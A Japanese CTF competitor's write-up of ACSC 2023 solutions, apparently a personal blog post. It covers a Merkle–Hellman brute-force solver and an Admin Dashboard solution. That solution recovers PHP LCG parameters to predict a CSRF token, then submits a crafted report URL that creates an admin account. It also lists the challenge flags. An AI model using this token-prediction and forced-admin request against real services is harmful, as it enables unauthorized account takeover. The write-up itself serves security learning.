ACSC 2023 Writeup
101th(global: 140 th)でした。
骨のある問題が多く中々解けなかった。
解けたのは (Welcome), Merkle Hellman, Admin Dashboardのみ。
うーむ。ガチ勢とのレベル差を実感したね。
Writeup
Welcome
discordにある。
ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}
Merkle Hellman
これかな?
平文に対して、(26 >> i) == 1であるPublicKey[i]の合計を求める感じ。
前提知識ないままコード読んでflag取ってしまったので、結構効率悪いと思う。 実際Private Key使ってないしね。
# Output: # Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084] # Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) # Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] b = [7352, 2356, 7579, 19235, 1944, 14029, 1084] (w, q) = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] result = [] for s in c: flag = 0 for i in range(7): for v in itertools.permutations(b, i): sum = 0 for vv in v: sum += vv if sum == s: flag = 1 result.append(v) break if flag == 1: break print(result) flag = '' for r in result: ascii = 0 for v in r: ascii |= (64 >> b.index(v)) flag += chr(ascii) print (flag)
ACSC{E4zY_P3@zy}
頑張れば手動でも行けそうだなと思った。
Admin Dashboard
admin-dashboard
reportページから、admin権限でgetリクエストを飛ばせる。 問題文中でgetリクエストが生きる場面は /addadmin のみなので、ここにリクエストを飛ばして任意のadminユーザを作ればよい。
ただ、csrf-tokenの検証が入るので、tokenを推測しなければならない。
$sql = "SELECT * FROM secrets"; $stmt = $conn->prepare($sql); $stmt->execute(); $result = $stmt->get_result(); $row = $result->fetch_assoc(); if($row){ $A = gmp_import($row['A']); $C = gmp_import($row['C']); $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd"); } if (!isset($_SESSION['X'])){ $X = gmp_import($_SESSION["user"]["username"]); $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M); $_SESSION["token-expire"] = time() + 30; }else{ if(time() >= $_SESSION["token-expire"]){ $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M); $_SESSION["token-expire"] = time() + 30; } }
数式化するとこうなる。
ただし、AとCは不明。
ちょっと調べてみると線型合同法という乱数生成アルゴリズムで、推測可能らしい事が分かった。
X = [] X.append(0x74657374616d) # <?php echo gmp_strval(gmp_import('testam'), 16); ?> X.append(0xadbcf226031e752084d83547d0fa1f3d) X.append(0x2b0546e77c9a59aa216a57eaa822e13f) Y = [] Y.append(X[1] - X[0]) Y.append(X[2] - X[1]) M = 0xc4f3b4b3deadbeef1337c0dedeadc0dd A = Y[1] * pow(Y[0], -1, M) C = X[1] - A * X[0] assert X[1] == (A * X[0] + C) % M, "Not eqaul" assert X[2] == (A * X[1] + C) % M, "Not eqaul" print(f'A: {hex(A)}') print(f'C: {hex(C)}') print() Xadmin = 0x61646d696e # <?php echo gmp_strval(gmp_import('admin'), 16); ?> print(f'Token: {hex((A * Xadmin + C) % M)}') # OUTPUT # A: -0x179c720dd58f5ae3904ef5e6007583dc476ecefd04f89eb882e9e8eba06e47fe # C: 0xabc3f0d475670c5f1c45efe04c38954aedcd1691121263d1cd5c75c02928ba964eaa24e0463 # # Token: 0x5b4b474720175fc8e5fb8f3e4b7266dc
という訳で、投げるべきリクエストは
url=http://localhost/addadmin?username=am2497%26password=password%26csrf-token=5b4b474720175fc8e5fb8f3e4b7266dc
そして、
ACSC{C$rF_15_3VerYwh3Re!}
リクエスト中に&をそのまま書いていて上手くいかないというミスで結構時間を使った。
あと線型合同法のAとCの計算は以下のkurenaifさんの記事を参考にした。動画も分かりやすかった。
所感
中々悔しい。